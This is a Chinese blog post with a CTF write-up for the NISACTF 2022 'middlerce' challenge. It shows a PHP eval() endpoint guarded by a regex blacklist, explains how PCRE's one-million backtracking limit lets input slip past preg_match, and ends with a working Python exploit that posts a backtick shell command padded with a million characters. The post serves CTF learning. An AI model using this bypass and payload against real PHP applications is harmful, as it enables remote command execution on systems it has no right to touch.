[NISACTF 2022]middlerce-----正则匹配回溯绕过

21 篇文章 0 订阅

  

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>

这里使用的是正则匹配的NIF匹配引擎

这个匹配引擎的原理是基于从后往前回溯的匹配机制

NIF匹配机制

 当preg_match这个函数进行匹配时是匹配完后才根据匹配到与否来返回bool值

如果匹配到也要匹配完后才返回true,而且在匹配过程中

要匹配的第一个字符与字符串中的第一个进行匹配,如果匹配成功就一直匹配下去,直至匹配不成功就到第二个要匹配的字符,如果第二个匹配的字符成功了就一直匹配下去,如果不成功就吐出原匹配好的字符串最右边的一个字符进行匹配,如果还不成功就继续吐,直至匹配成功才到下一个要匹配的字符,但是我们知道,既然前一个匹配的字符成功了就肯定不符合下一个匹配的字符。哪这个回溯就没有什么用了,所以要利用这个特性就要有一个特殊的字符——.*

这个字符表示可以匹配任意的字符,那么按上面说的匹配机制, .*将会一直匹配到最后字符串的最后,然后轮到下一个字符,这样回溯才有它的利用价值

如:

要匹配的字符有.*和a           匹配asd这串字符串

1.第一个是.*匹配任意字符都成功所以匹配了asd

2.到a这个字符从后面往前回溯匹配,先吐出一个d但匹配不上,继续吐出一个s,sd还是与a匹配不上

3.直到吐出a,asd就匹配上了a

这样匹配就实现了回溯,这里回溯有一个回溯限制次数——100 万次

 当回溯超出这个次数,还没吐完的字符串就可以逃逸匹配

利用这个特性我们可以逃逸我们想要的语句,只要在我们的语句后加上100万个字符即可

等匹配超过这个次数时我们的语句自然就可以逃逸掉了

所有的讲解都是我对p神的文章的理解

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

 所有就可以写payload

import requests
url = 'http://1.14.71.254:28288/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)

 总结

 NIF----.*匹配字符造成的回溯匹配漏洞

 


参考:

PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

_(:3」」还是被发现了 (pysnow.cn) 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值